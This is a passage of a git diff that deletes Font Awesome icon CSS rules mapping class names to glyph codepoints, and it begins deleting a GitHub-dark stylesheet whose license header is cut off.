-.fa-asterisk:before {
- content: "\f069";
-}
-
-.fa-exclamation-circle:before {
- content: "\f06a";
-}
-
-.fa-gift:before {
- content: "\f06b";
-}
-
-.fa-leaf:before {
- content: "\f06c";
-}
-
-.fa-fire:before {
- content: "\f06d";
-}
-
-.fa-eye:before {
- content: "\f06e";
-}
-
-.fa-eye-slash:before {
- content: "\f070";
-}
-
-.fa-warning:before,
-.fa-exclamation-triangle:before {
- content: "\f071";
-}
-
-.fa-plane:before {
- content: "\f072";
-}
-
-.fa-calendar:before {
- content: "\f073";
-}
-
-.fa-random:before {
- content: "\f074";
-}
-
-.fa-comment:before {
- content: "\f075";
-}
-
-.fa-magnet:before {
- content: "\f076";
-}
-
-.fa-chevron-up:before {
- content: "\f077";
-}
-
-.fa-chevron-down:before {
- content: "\f078";
-}
-
-.fa-retweet:before {
- content: "\f079";
-}
-
-.fa-shopping-cart:before {
- content: "\f07a";
-}
-
-.fa-folder:before {
- content: "\f07b";
-}
-
-.fa-folder-open:before {
- content: "\f07c";
-}
-
-.fa-arrows-v:before {
- content: "\f07d";
-}
-
-.fa-arrows-h:before {
- content: "\f07e";
-}
-
-.fa-bar-chart-o:before,
-.fa-bar-chart:before {
- content: "\f080";
-}
-
-.fa-twitter-square:before {
- content: "\f081";
-}
-
-.fa-facebook-square:before {
- content: "\f082";
-}
-
-.fa-camera-retro:before {
- content: "\f083";
-}
-
-.fa-key:before {
- content: "\f084";
-}
-
-.fa-gears:before,
-.fa-cogs:before {
- content: "\f085";
-}
-
-.fa-comments:before {
- content: "\f086";
-}
-
-.fa-thumbs-o-up:before {
- content: "\f087";
-}
-
-.fa-thumbs-o-down:before {
- content: "\f088";
-}
-
-.fa-star-half:before {
- content: "\f089";
-}
-
-.fa-heart-o:before {
- content: "\f08a";
-}
-
-.fa-sign-out:before {
- content: "\f08b";
-}
-
-.fa-linkedin-square:before {
- content: "\f08c";
-}
-
-.fa-thumb-tack:before {
- content: "\f08d";
-}
-
-.fa-external-link:before {
- content: "\f08e";
-}
-
-.fa-sign-in:before {
- content: "\f090";
-}
-
-.fa-trophy:before {
- content: "\f091";
-}
-
-.fa-github-square:before {
- content: "\f092";
-}
-
-.fa-upload:before {
- content: "\f093";
-}
-
-.fa-lemon-o:before {
- content: "\f094";
-}
-
-.fa-phone:before {
- content: "\f095";
-}
-
-.fa-square-o:before {
- content: "\f096";
-}
-
-.fa-bookmark-o:before {
- content: "\f097";
-}
-
-.fa-phone-square:before {
- content: "\f098";
-}
-
-.fa-twitter:before {
- content: "\f099";
-}
-
-.fa-facebook-f:before,
-.fa-facebook:before {
- content: "\f09a";
-}
-
-.fa-github:before {
- content: "\f09b";
-}
-
-.fa-unlock:before {
- content: "\f09c";
-}
-
-.fa-credit-card:before {
- content: "\f09d";
-}
-
-.fa-feed:before,
-.fa-rss:before {
- content: "\f09e";
-}
-
-.fa-hdd-o:before {
- content: "\f0a0";
-}
-
-.fa-bullhorn:before {
- content: "\f0a1";
-}
-
-.fa-bell:before {
- content: "\f0f3";
-}
-
-.fa-certificate:before {
- content: "\f0a3";
-}
-
-.fa-hand-o-right:before {
- content: "\f0a4";
-}
-
-.fa-hand-o-left:before {
- content: "\f0a5";
-}
-
-.fa-hand-o-up:before {
- content: "\f0a6";
-}
-
-.fa-hand-o-down:before {
- content: "\f0a7";
-}
-
-.fa-arrow-circle-left:before {
- content: "\f0a8";
-}
-
-.fa-arrow-circle-right:before {
- content: "\f0a9";
-}
-
-.fa-arrow-circle-up:before {
- content: "\f0aa";
-}
-
-.fa-arrow-circle-down:before {
- content: "\f0ab";
-}
-
-.fa-globe:before {
- content: "\f0ac";
-}
-
-.fa-wrench:before {
- content: "\f0ad";
-}
-
-.fa-tasks:before {
- content: "\f0ae";
-}
-
-.fa-filter:before {
- content: "\f0b0";
-}
-
-.fa-briefcase:before {
- content: "\f0b1";
-}
-
-.fa-arrows-alt:before {
- content: "\f0b2";
-}
-
-.fa-group:before,
-.fa-users:before {
- content: "\f0c0";
-}
-
-.fa-chain:before,
-.fa-link:before {
- content: "\f0c1";
-}
-
-.fa-cloud:before {
- content: "\f0c2";
-}
-
-.fa-flask:before {
- content: "\f0c3";
-}
-
-.fa-cut:before,
-.fa-scissors:before {
- content: "\f0c4";
-}
-
-.fa-copy:before,
-.fa-files-o:before {
- content: "\f0c5";
-}
-
-.fa-paperclip:before {
- content: "\f0c6";
-}
-
-.fa-save:before,
-.fa-floppy-o:before {
- content: "\f0c7";
-}
-
-.fa-square:before {
- content: "\f0c8";
-}
-
-.fa-navicon:before,
-.fa-reorder:before,
-.fa-bars:before {
- content: "\f0c9";
-}
-
-.fa-list-ul:before {
- content: "\f0ca";
-}
-
-.fa-list-ol:before {
- content: "\f0cb";
-}
-
-.fa-strikethrough:before {
- content: "\f0cc";
-}
-
-.fa-underline:before {
- content: "\f0cd";
-}
-
-.fa-table:before {
- content: "\f0ce";
-}
-
-.fa-magic:before {
- content: "\f0d0";
-}
-
-.fa-truck:before {
- content: "\f0d1";
-}
-
-.fa-pinterest:before {
- content: "\f0d2";
-}
-
-.fa-pinterest-square:before {
- content: "\f0d3";
-}
-
-.fa-google-plus-square:before {
- content: "\f0d4";
-}
-
-.fa-google-plus:before {
- content: "\f0d5";
-}
-
-.fa-money:before {
- content: "\f0d6";
-}
-
-.fa-caret-down:before {
- content: "\f0d7";
-}
-
-.fa-caret-up:before {
- content: "\f0d8";
-}
-
-.fa-caret-left:before {
- content: "\f0d9";
-}
-
-.fa-caret-right:before {
- content: "\f0da";
-}
-
-.fa-columns:before {
- content: "\f0db";
-}
-
-.fa-unsorted:before,
-.fa-sort:before {
- content: "\f0dc";
-}
-
-.fa-sort-down:before,
-.fa-sort-desc:before {
- content: "\f0dd";
-}
-
-.fa-sort-up:before,
-.fa-sort-asc:before {
- content: "\f0de";
-}
-
-.fa-envelope:before {
- content: "\f0e0";
-}
-
-.fa-linkedin:before {
- content: "\f0e1";
-}
-
-.fa-rotate-left:before,
-.fa-undo:before {
- content: "\f0e2";
-}
-
-.fa-legal:before,
-.fa-gavel:before {
- content: "\f0e3";
-}
-
-.fa-dashboard:before,
-.fa-tachometer:before {
- content: "\f0e4";
-}
-
-.fa-comment-o:before {
- content: "\f0e5";
-}
-
-.fa-comments-o:before {
- content: "\f0e6";
-}
-
-.fa-flash:before,
-.fa-bolt:before {
- content: "\f0e7";
-}
-
-.fa-sitemap:before {
- content: "\f0e8";
-}
-
-.fa-umbrella:before {
- content: "\f0e9";
-}
-
-.fa-paste:before,
-.fa-clipboard:before {
- content: "\f0ea";
-}
-
-.fa-lightbulb-o:before {
- content: "\f0eb";
-}
-
-.fa-exchange:before {
- content: "\f0ec";
-}
-
-.fa-cloud-download:before {
- content: "\f0ed";
-}
-
-.fa-cloud-upload:before {
- content: "\f0ee";
-}
-
-.fa-user-md:before {
- content: "\f0f0";
-}
-
-.fa-stethoscope:before {
- content: "\f0f1";
-}
-
-.fa-suitcase:before {
- content: "\f0f2";
-}
-
-.fa-bell-o:before {
- content: "\f0a2";
-}
-
-.fa-coffee:before {
- content: "\f0f4";
-}
-
-.fa-cutlery:before {
- content: "\f0f5";
-}
-
-.fa-file-text-o:before {
- content: "\f0f6";
-}
-
-.fa-building-o:before {
- content: "\f0f7";
-}
-
-.fa-hospital-o:before {
- content: "\f0f8";
-}
-
-.fa-ambulance:before {
- content: "\f0f9";
-}
-
-.fa-medkit:before {
- content: "\f0fa";
-}
-
-.fa-fighter-jet:before {
- content: "\f0fb";
-}
-
-.fa-beer:before {
- content: "\f0fc";
-}
-
-.fa-h-square:before {
- content: "\f0fd";
-}
-
-.fa-plus-square:before {
- content: "\f0fe";
-}
-
-.fa-angle-double-left:before {
- content: "\f100";
-}
-
-.fa-angle-double-right:before {
- content: "\f101";
-}
-
-.fa-angle-double-up:before {
- content: "\f102";
-}
-
-.fa-angle-double-down:before {
- content: "\f103";
-}
-
-.fa-angle-left:before {
- content: "\f104";
-}
-
-.fa-angle-right:before {
- content: "\f105";
-}
-
-.fa-angle-up:before {
- content: "\f106";
-}
-
-.fa-angle-down:before {
- content: "\f107";
-}
-
-.fa-desktop:before {
- content: "\f108";
-}
-
-.fa-laptop:before {
- content: "\f109";
-}
-
-.fa-tablet:before {
- content: "\f10a";
-}
-
-.fa-mobile-phone:before,
-.fa-mobile:before {
- content: "\f10b";
-}
-
-.fa-circle-o:before {
- content: "\f10c";
-}
-
-.fa-quote-left:before {
- content: "\f10d";
-}
-
-.fa-quote-right:before {
- content: "\f10e";
-}
-
-.fa-spinner:before {
- content: "\f110";
-}
-
-.fa-circle:before {
- content: "\f111";
-}
-
-.fa-mail-reply:before,
-.fa-reply:before {
- content: "\f112";
-}
-
-.fa-github-alt:before {
- content: "\f113";
-}
-
-.fa-folder-o:before {
- content: "\f114";
-}
-
-.fa-folder-open-o:before {
- content: "\f115";
-}
-
-.fa-smile-o:before {
- content: "\f118";
-}
-
-.fa-frown-o:before {
- content: "\f119";
-}
-
-.fa-meh-o:before {
- content: "\f11a";
-}
-
-.fa-gamepad:before {
- content: "\f11b";
-}
-
-.fa-keyboard-o:before {
- content: "\f11c";
-}
-
-.fa-flag-o:before {
- content: "\f11d";
-}
-
-.fa-flag-checkered:before {
- content: "\f11e";
-}
-
-.fa-terminal:before {
- content: "\f120";
-}
-
-.fa-code:before {
- content: "\f121";
-}
-
-.fa-mail-reply-all:before,
-.fa-reply-all:before {
- content: "\f122";
-}
-
-.fa-star-half-empty:before,
-.fa-star-half-full:before,
-.fa-star-half-o:before {
- content: "\f123";
-}
-
-.fa-location-arrow:before {
- content: "\f124";
-}
-
-.fa-crop:before {
- content: "\f125";
-}
-
-.fa-code-fork:before {
- content: "\f126";
-}
-
-.fa-unlink:before,
-.fa-chain-broken:before {
- content: "\f127";
-}
-
-.fa-question:before {
- content: "\f128";
-}
-
-.fa-info:before {
- content: "\f129";
-}
-
-.fa-exclamation:before {
- content: "\f12a";
-}
-
-.fa-superscript:before {
- content: "\f12b";
-}
-
-.fa-subscript:before {
- content: "\f12c";
-}
-
-.fa-eraser:before {
- content: "\f12d";
-}
-
-.fa-puzzle-piece:before {
- content: "\f12e";
-}
-
-.fa-microphone:before {
- content: "\f130";
-}
-
-.fa-microphone-slash:before {
- content: "\f131";
-}
-
-.fa-shield:before {
- content: "\f132";
-}
-
-.fa-calendar-o:before {
- content: "\f133";
-}
-
-.fa-fire-extinguisher:before {
- content: "\f134";
-}
-
-.fa-rocket:before {
- content: "\f135";
-}
-
-.fa-maxcdn:before {
- content: "\f136";
-}
-
-.fa-chevron-circle-left:before {
- content: "\f137";
-}
-
-.fa-chevron-circle-right:before {
- content: "\f138";
-}
-
-.fa-chevron-circle-up:before {
- content: "\f139";
-}
-
-.fa-chevron-circle-down:before {
- content: "\f13a";
-}
-
-.fa-html5:before {
- content: "\f13b";
-}
-
-.fa-css3:before {
- content: "\f13c";
-}
-
-.fa-anchor:before {
- content: "\f13d";
-}
-
-.fa-unlock-alt:before {
- content: "\f13e";
-}
-
-.fa-bullseye:before {
- content: "\f140";
-}
-
-.fa-ellipsis-h:before {
- content: "\f141";
-}
-
-.fa-ellipsis-v:before {
- content: "\f142";
-}
-
-.fa-rss-square:before {
- content: "\f143";
-}
-
-.fa-play-circle:before {
- content: "\f144";
-}
-
-.fa-ticket:before {
- content: "\f145";
-}
-
-.fa-minus-square:before {
- content: "\f146";
-}
-
-.fa-minus-square-o:before {
- content: "\f147";
-}
-
-.fa-level-up:before {
- content: "\f148";
-}
-
-.fa-level-down:before {
- content: "\f149";
-}
-
-.fa-check-square:before {
- content: "\f14a";
-}
-
-.fa-pencil-square:before {
- content: "\f14b";
-}
-
-.fa-external-link-square:before {
- content: "\f14c";
-}
-
-.fa-share-square:before {
- content: "\f14d";
-}
-
-.fa-compass:before {
- content: "\f14e";
-}
-
-.fa-toggle-down:before,
-.fa-caret-square-o-down:before {
- content: "\f150";
-}
-
-.fa-toggle-up:before,
-.fa-caret-square-o-up:before {
- content: "\f151";
-}
-
-.fa-toggle-right:before,
-.fa-caret-square-o-right:before {
- content: "\f152";
-}
-
-.fa-euro:before,
-.fa-eur:before {
- content: "\f153";
-}
-
-.fa-gbp:before {
- content: "\f154";
-}
-
-.fa-dollar:before,
-.fa-usd:before {
- content: "\f155";
-}
-
-.fa-rupee:before,
-.fa-inr:before {
- content: "\f156";
-}
-
-.fa-cny:before,
-.fa-rmb:before,
-.fa-yen:before,
-.fa-jpy:before {
- content: "\f157";
-}
-
-.fa-ruble:before,
-.fa-rouble:before,
-.fa-rub:before {
- content: "\f158";
-}
-
-.fa-won:before,
-.fa-krw:before {
- content: "\f159";
-}
-
-.fa-bitcoin:before,
-.fa-btc:before {
- content: "\f15a";
-}
-
-.fa-file:before {
- content: "\f15b";
-}
-
-.fa-file-text:before {
- content: "\f15c";
-}
-
-.fa-sort-alpha-asc:before {
- content: "\f15d";
-}
-
-.fa-sort-alpha-desc:before {
- content: "\f15e";
-}
-
-.fa-sort-amount-asc:before {
- content: "\f160";
-}
-
-.fa-sort-amount-desc:before {
- content: "\f161";
-}
-
-.fa-sort-numeric-asc:before {
- content: "\f162";
-}
-
-.fa-sort-numeric-desc:before {
- content: "\f163";
-}
-
-.fa-thumbs-up:before {
- content: "\f164";
-}
-
-.fa-thumbs-down:before {
- content: "\f165";
-}
-
-.fa-youtube-square:before {
- content: "\f166";
-}
-
-.fa-youtube:before {
- content: "\f167";
-}
-
-.fa-xing:before {
- content: "\f168";
-}
-
-.fa-xing-square:before {
- content: "\f169";
-}
-
-.fa-youtube-play:before {
- content: "\f16a";
-}
-
-.fa-dropbox:before {
- content: "\f16b";
-}
-
-.fa-stack-overflow:before {
- content: "\f16c";
-}
-
-.fa-instagram:before {
- content: "\f16d";
-}
-
-.fa-flickr:before {
- content: "\f16e";
-}
-
-.fa-adn:before {
- content: "\f170";
-}
-
-.fa-bitbucket:before {
- content: "\f171";
-}
-
-.fa-bitbucket-square:before {
- content: "\f172";
-}
-
-.fa-tumblr:before {
- content: "\f173";
-}
-
-.fa-tumblr-square:before {
- content: "\f174";
-}
-
-.fa-long-arrow-down:before {
- content: "\f175";
-}
-
-.fa-long-arrow-up:before {
- content: "\f176";
-}
-
-.fa-long-arrow-left:before {
- content: "\f177";
-}
-
-.fa-long-arrow-right:before {
- content: "\f178";
-}
-
-.fa-apple:before {
- content: "\f179";
-}
-
-.fa-windows:before {
- content: "\f17a";
-}
-
-.fa-android:before {
- content: "\f17b";
-}
-
-.fa-linux:before {
- content: "\f17c";
-}
-
-.fa-dribbble:before {
- content: "\f17d";
-}
-
-.fa-skype:before {
- content: "\f17e";
-}
-
-.fa-foursquare:before {
- content: "\f180";
-}
-
-.fa-trello:before {
- content: "\f181";
-}
-
-.fa-female:before {
- content: "\f182";
-}
-
-.fa-male:before {
- content: "\f183";
-}
-
-.fa-gittip:before,
-.fa-gratipay:before {
- content: "\f184";
-}
-
-.fa-sun-o:before {
- content: "\f185";
-}
-
-.fa-moon-o:before {
- content: "\f186";
-}
-
-.fa-archive:before {
- content: "\f187";
-}
-
-.fa-bug:before {
- content: "\f188";
-}
-
-.fa-vk:before {
- content: "\f189";
-}
-
-.fa-weibo:before {
- content: "\f18a";
-}
-
-.fa-renren:before {
- content: "\f18b";
-}
-
-.fa-pagelines:before {
- content: "\f18c";
-}
-
-.fa-stack-exchange:before {
- content: "\f18d";
-}
-
-.fa-arrow-circle-o-right:before {
- content: "\f18e";
-}
-
-.fa-arrow-circle-o-left:before {
- content: "\f190";
-}
-
-.fa-toggle-left:before,
-.fa-caret-square-o-left:before {
- content: "\f191";
-}
-
-.fa-dot-circle-o:before {
- content: "\f192";
-}
-
-.fa-wheelchair:before {
- content: "\f193";
-}
-
-.fa-vimeo-square:before {
- content: "\f194";
-}
-
-.fa-turkish-lira:before,
-.fa-try:before {
- content: "\f195";
-}
-
-.fa-plus-square-o:before {
- content: "\f196";
-}
-
-.fa-space-shuttle:before {
- content: "\f197";
-}
-
-.fa-slack:before {
- content: "\f198";
-}
-
-.fa-envelope-square:before {
- content: "\f199";
-}
-
-.fa-wordpress:before {
- content: "\f19a";
-}
-
-.fa-openid:before {
- content: "\f19b";
-}
-
-.fa-institution:before,
-.fa-bank:before,
-.fa-university:before {
- content: "\f19c";
-}
-
-.fa-mortar-board:before,
-.fa-graduation-cap:before {
- content: "\f19d";
-}
-
-.fa-yahoo:before {
- content: "\f19e";
-}
-
-.fa-google:before {
- content: "\f1a0";
-}
-
-.fa-reddit:before {
- content: "\f1a1";
-}
-
-.fa-reddit-square:before {
- content: "\f1a2";
-}
-
-.fa-stumbleupon-circle:before {
- content: "\f1a3";
-}
-
-.fa-stumbleupon:before {
- content: "\f1a4";
-}
-
-.fa-delicious:before {
- content: "\f1a5";
-}
-
-.fa-digg:before {
- content: "\f1a6";
-}
-
-.fa-pied-piper:before {
- content: "\f1a7";
-}
-
-.fa-pied-piper-alt:before {
- content: "\f1a8";
-}
-
-.fa-drupal:before {
- content: "\f1a9";
-}
-
-.fa-joomla:before {
- content: "\f1aa";
-}
-
-.fa-language:before {
- content: "\f1ab";
-}
-
-.fa-fax:before {
- content: "\f1ac";
-}
-
-.fa-building:before {
- content: "\f1ad";
-}
-
-.fa-child:before {
- content: "\f1ae";
-}
-
-.fa-paw:before {
- content: "\f1b0";
-}
-
-.fa-spoon:before {
- content: "\f1b1";
-}
-
-.fa-cube:before {
- content: "\f1b2";
-}
-
-.fa-cubes:before {
- content: "\f1b3";
-}
-
-.fa-behance:before {
- content: "\f1b4";
-}
-
-.fa-behance-square:before {
- content: "\f1b5";
-}
-
-.fa-steam:before {
- content: "\f1b6";
-}
-
-.fa-steam-square:before {
- content: "\f1b7";
-}
-
-.fa-recycle:before {
- content: "\f1b8";
-}
-
-.fa-automobile:before,
-.fa-car:before {
- content: "\f1b9";
-}
-
-.fa-cab:before,
-.fa-taxi:before {
- content: "\f1ba";
-}
-
-.fa-tree:before {
- content: "\f1bb";
-}
-
-.fa-spotify:before {
- content: "\f1bc";
-}
-
-.fa-deviantart:before {
- content: "\f1bd";
-}
-
-.fa-soundcloud:before {
- content: "\f1be";
-}
-
-.fa-database:before {
- content: "\f1c0";
-}
-
-.fa-file-pdf-o:before {
- content: "\f1c1";
-}
-
-.fa-file-word-o:before {
- content: "\f1c2";
-}
-
-.fa-file-excel-o:before {
- content: "\f1c3";
-}
-
-.fa-file-powerpoint-o:before {
- content: "\f1c4";
-}
-
-.fa-file-photo-o:before,
-.fa-file-picture-o:before,
-.fa-file-image-o:before {
- content: "\f1c5";
-}
-
-.fa-file-zip-o:before,
-.fa-file-archive-o:before {
- content: "\f1c6";
-}
-
-.fa-file-sound-o:before,
-.fa-file-audio-o:before {
- content: "\f1c7";
-}
-
-.fa-file-movie-o:before,
-.fa-file-video-o:before {
- content: "\f1c8";
-}
-
-.fa-file-code-o:before {
- content: "\f1c9";
-}
-
-.fa-vine:before {
- content: "\f1ca";
-}
-
-.fa-codepen:before {
- content: "\f1cb";
-}
-
-.fa-jsfiddle:before {
- content: "\f1cc";
-}
-
-.fa-life-bouy:before,
-.fa-life-buoy:before,
-.fa-life-saver:before,
-.fa-support:before,
-.fa-life-ring:before {
- content: "\f1cd";
-}
-
-.fa-circle-o-notch:before {
- content: "\f1ce";
-}
-
-.fa-ra:before,
-.fa-rebel:before {
- content: "\f1d0";
-}
-
-.fa-ge:before,
-.fa-empire:before {
- content: "\f1d1";
-}
-
-.fa-git-square:before {
- content: "\f1d2";
-}
-
-.fa-git:before {
- content: "\f1d3";
-}
-
-.fa-y-combinator-square:before,
-.fa-yc-square:before,
-.fa-hacker-news:before {
- content: "\f1d4";
-}
-
-.fa-tencent-weibo:before {
- content: "\f1d5";
-}
-
-.fa-qq:before {
- content: "\f1d6";
-}
-
-.fa-wechat:before,
-.fa-weixin:before {
- content: "\f1d7";
-}
-
-.fa-send:before,
-.fa-paper-plane:before {
- content: "\f1d8";
-}
-
-.fa-send-o:before,
-.fa-paper-plane-o:before {
- content: "\f1d9";
-}
-
-.fa-history:before {
- content: "\f1da";
-}
-
-.fa-circle-thin:before {
- content: "\f1db";
-}
-
-.fa-header:before {
- content: "\f1dc";
-}
-
-.fa-paragraph:before {
- content: "\f1dd";
-}
-
-.fa-sliders:before {
- content: "\f1de";
-}
-
-.fa-share-alt:before {
- content: "\f1e0";
-}
-
-.fa-share-alt-square:before {
- content: "\f1e1";
-}
-
-.fa-bomb:before {
- content: "\f1e2";
-}
-
-.fa-soccer-ball-o:before,
-.fa-futbol-o:before {
- content: "\f1e3";
-}
-
-.fa-tty:before {
- content: "\f1e4";
-}
-
-.fa-binoculars:before {
- content: "\f1e5";
-}
-
-.fa-plug:before {
- content: "\f1e6";
-}
-
-.fa-slideshare:before {
- content: "\f1e7";
-}
-
-.fa-twitch:before {
- content: "\f1e8";
-}
-
-.fa-yelp:before {
- content: "\f1e9";
-}
-
-.fa-newspaper-o:before {
- content: "\f1ea";
-}
-
-.fa-wifi:before {
- content: "\f1eb";
-}
-
-.fa-calculator:before {
- content: "\f1ec";
-}
-
-.fa-paypal:before {
- content: "\f1ed";
-}
-
-.fa-google-wallet:before {
- content: "\f1ee";
-}
-
-.fa-cc-visa:before {
- content: "\f1f0";
-}
-
-.fa-cc-mastercard:before {
- content: "\f1f1";
-}
-
-.fa-cc-discover:before {
- content: "\f1f2";
-}
-
-.fa-cc-amex:before {
- content: "\f1f3";
-}
-
-.fa-cc-paypal:before {
- content: "\f1f4";
-}
-
-.fa-cc-stripe:before {
- content: "\f1f5";
-}
-
-.fa-bell-slash:before {
- content: "\f1f6";
-}
-
-.fa-bell-slash-o:before {
- content: "\f1f7";
-}
-
-.fa-trash:before {
- content: "\f1f8";
-}
-
-.fa-copyright:before {
- content: "\f1f9";
-}
-
-.fa-at:before {
- content: "\f1fa";
-}
-
-.fa-eyedropper:before {
- content: "\f1fb";
-}
-
-.fa-paint-brush:before {
- content: "\f1fc";
-}
-
-.fa-birthday-cake:before {
- content: "\f1fd";
-}
-
-.fa-area-chart:before {
- content: "\f1fe";
-}
-
-.fa-pie-chart:before {
- content: "\f200";
-}
-
-.fa-line-chart:before {
- content: "\f201";
-}
-
-.fa-lastfm:before {
- content: "\f202";
-}
-
-.fa-lastfm-square:before {
- content: "\f203";
-}
-
-.fa-toggle-off:before {
- content: "\f204";
-}
-
-.fa-toggle-on:before {
- content: "\f205";
-}
-
-.fa-bicycle:before {
- content: "\f206";
-}
-
-.fa-bus:before {
- content: "\f207";
-}
-
-.fa-ioxhost:before {
- content: "\f208";
-}
-
-.fa-angellist:before {
- content: "\f209";
-}
-
-.fa-cc:before {
- content: "\f20a";
-}
-
-.fa-shekel:before,
-.fa-sheqel:before,
-.fa-ils:before {
- content: "\f20b";
-}
-
-.fa-meanpath:before {
- content: "\f20c";
-}
-
-.fa-buysellads:before {
- content: "\f20d";
-}
-
-.fa-connectdevelop:before {
- content: "\f20e";
-}
-
-.fa-dashcube:before {
- content: "\f210";
-}
-
-.fa-forumbee:before {
- content: "\f211";
-}
-
-.fa-leanpub:before {
- content: "\f212";
-}
-
-.fa-sellsy:before {
- content: "\f213";
-}
-
-.fa-shirtsinbulk:before {
- content: "\f214";
-}
-
-.fa-simplybuilt:before {
- content: "\f215";
-}
-
-.fa-skyatlas:before {
- content: "\f216";
-}
-
-.fa-cart-plus:before {
- content: "\f217";
-}
-
-.fa-cart-arrow-down:before {
- content: "\f218";
-}
-
-.fa-diamond:before {
- content: "\f219";
-}
-
-.fa-ship:before {
- content: "\f21a";
-}
-
-.fa-user-secret:before {
- content: "\f21b";
-}
-
-.fa-motorcycle:before {
- content: "\f21c";
-}
-
-.fa-street-view:before {
- content: "\f21d";
-}
-
-.fa-heartbeat:before {
- content: "\f21e";
-}
-
-.fa-venus:before {
- content: "\f221";
-}
-
-.fa-mars:before {
- content: "\f222";
-}
-
-.fa-mercury:before {
- content: "\f223";
-}
-
-.fa-intersex:before,
-.fa-transgender:before {
- content: "\f224";
-}
-
-.fa-transgender-alt:before {
- content: "\f225";
-}
-
-.fa-venus-double:before {
- content: "\f226";
-}
-
-.fa-mars-double:before {
- content: "\f227";
-}
-
-.fa-venus-mars:before {
- content: "\f228";
-}
-
-.fa-mars-stroke:before {
- content: "\f229";
-}
-
-.fa-mars-stroke-v:before {
- content: "\f22a";
-}
-
-.fa-mars-stroke-h:before {
- content: "\f22b";
-}
-
-.fa-neuter:before {
- content: "\f22c";
-}
-
-.fa-genderless:before {
- content: "\f22d";
-}
-
-.fa-facebook-official:before {
- content: "\f230";
-}
-
-.fa-pinterest-p:before {
- content: "\f231";
-}
-
-.fa-whatsapp:before {
- content: "\f232";
-}
-
-.fa-server:before {
- content: "\f233";
-}
-
-.fa-user-plus:before {
- content: "\f234";
-}
-
-.fa-user-times:before {
- content: "\f235";
-}
-
-.fa-hotel:before,
-.fa-bed:before {
- content: "\f236";
-}
-
-.fa-viacoin:before {
- content: "\f237";
-}
-
-.fa-train:before {
- content: "\f238";
-}
-
-.fa-subway:before {
- content: "\f239";
-}
-
-.fa-medium:before {
- content: "\f23a";
-}
-
-.fa-yc:before,
-.fa-y-combinator:before {
- content: "\f23b";
-}
-
-.fa-optin-monster:before {
- content: "\f23c";
-}
-
-.fa-opencart:before {
- content: "\f23d";
-}
-
-.fa-expeditedssl:before {
- content: "\f23e";
-}
-
-.fa-battery-4:before,
-.fa-battery-full:before {
- content: "\f240";
-}
-
-.fa-battery-3:before,
-.fa-battery-three-quarters:before {
- content: "\f241";
-}
-
-.fa-battery-2:before,
-.fa-battery-half:before {
- content: "\f242";
-}
-
-.fa-battery-1:before,
-.fa-battery-quarter:before {
- content: "\f243";
-}
-
-.fa-battery-0:before,
-.fa-battery-empty:before {
- content: "\f244";
-}
-
-.fa-mouse-pointer:before {
- content: "\f245";
-}
-
-.fa-i-cursor:before {
- content: "\f246";
-}
-
-.fa-object-group:before {
- content: "\f247";
-}
-
-.fa-object-ungroup:before {
- content: "\f248";
-}
-
-.fa-sticky-note:before {
- content: "\f249";
-}
-
-.fa-sticky-note-o:before {
- content: "\f24a";
-}
-
-.fa-cc-jcb:before {
- content: "\f24b";
-}
-
-.fa-cc-diners-club:before {
- content: "\f24c";
-}
-
-.fa-clone:before {
- content: "\f24d";
-}
-
-.fa-balance-scale:before {
- content: "\f24e";
-}
-
-.fa-hourglass-o:before {
- content: "\f250";
-}
-
-.fa-hourglass-1:before,
-.fa-hourglass-start:before {
- content: "\f251";
-}
-
-.fa-hourglass-2:before,
-.fa-hourglass-half:before {
- content: "\f252";
-}
-
-.fa-hourglass-3:before,
-.fa-hourglass-end:before {
- content: "\f253";
-}
-
-.fa-hourglass:before {
- content: "\f254";
-}
-
-.fa-hand-grab-o:before,
-.fa-hand-rock-o:before {
- content: "\f255";
-}
-
-.fa-hand-stop-o:before,
-.fa-hand-paper-o:before {
- content: "\f256";
-}
-
-.fa-hand-scissors-o:before {
- content: "\f257";
-}
-
-.fa-hand-lizard-o:before {
- content: "\f258";
-}
-
-.fa-hand-spock-o:before {
- content: "\f259";
-}
-
-.fa-hand-pointer-o:before {
- content: "\f25a";
-}
-
-.fa-hand-peace-o:before {
- content: "\f25b";
-}
-
-.fa-trademark:before {
- content: "\f25c";
-}
-
-.fa-registered:before {
- content: "\f25d";
-}
-
-.fa-creative-commons:before {
- content: "\f25e";
-}
-
-.fa-gg:before {
- content: "\f260";
-}
-
-.fa-gg-circle:before {
- content: "\f261";
-}
-
-.fa-tripadvisor:before {
- content: "\f262";
-}
-
-.fa-odnoklassniki:before {
- content: "\f263";
-}
-
-.fa-odnoklassniki-square:before {
- content: "\f264";
-}
-
-.fa-get-pocket:before {
- content: "\f265";
-}
-
-.fa-wikipedia-w:before {
- content: "\f266";
-}
-
-.fa-safari:before {
- content: "\f267";
-}
-
-.fa-chrome:before {
- content: "\f268";
-}
-
-.fa-firefox:before {
- content: "\f269";
-}
-
-.fa-opera:before {
- content: "\f26a";
-}
-
-.fa-internet-explorer:before {
- content: "\f26b";
-}
-
-.fa-tv:before,
-.fa-television:before {
- content: "\f26c";
-}
-
-.fa-contao:before {
- content: "\f26d";
-}
-
-.fa-500px:before {
- content: "\f26e";
-}
-
-.fa-amazon:before {
- content: "\f270";
-}
-
-.fa-calendar-plus-o:before {
- content: "\f271";
-}
-
-.fa-calendar-minus-o:before {
- content: "\f272";
-}
-
-.fa-calendar-times-o:before {
- content: "\f273";
-}
-
-.fa-calendar-check-o:before {
- content: "\f274";
-}
-
-.fa-industry:before {
- content: "\f275";
-}
-
-.fa-map-pin:before {
- content: "\f276";
-}
-
-.fa-map-signs:before {
- content: "\f277";
-}
-
-.fa-map-o:before {
- content: "\f278";
-}
-
-.fa-map:before {
- content: "\f279";
-}
-
-.fa-commenting:before {
- content: "\f27a";
-}
-
-.fa-commenting-o:before {
- content: "\f27b";
-}
-
-.fa-houzz:before {
- content: "\f27c";
-}
-
-.fa-vimeo:before {
- content: "\f27d";
-}
-
-.fa-black-tie:before {
- content: "\f27e";
-}
-
-.fa-fonticons:before {
- content: "\f280";
-}
diff --git a/_site/stylesheets/github-dark.css b/_site/stylesheets/github-dark.css
deleted file mode 100644
index 0c393bf..0000000
--- a/_site/stylesheets/github-dark.css
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- Copyright 2014 GitHub Inc.
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
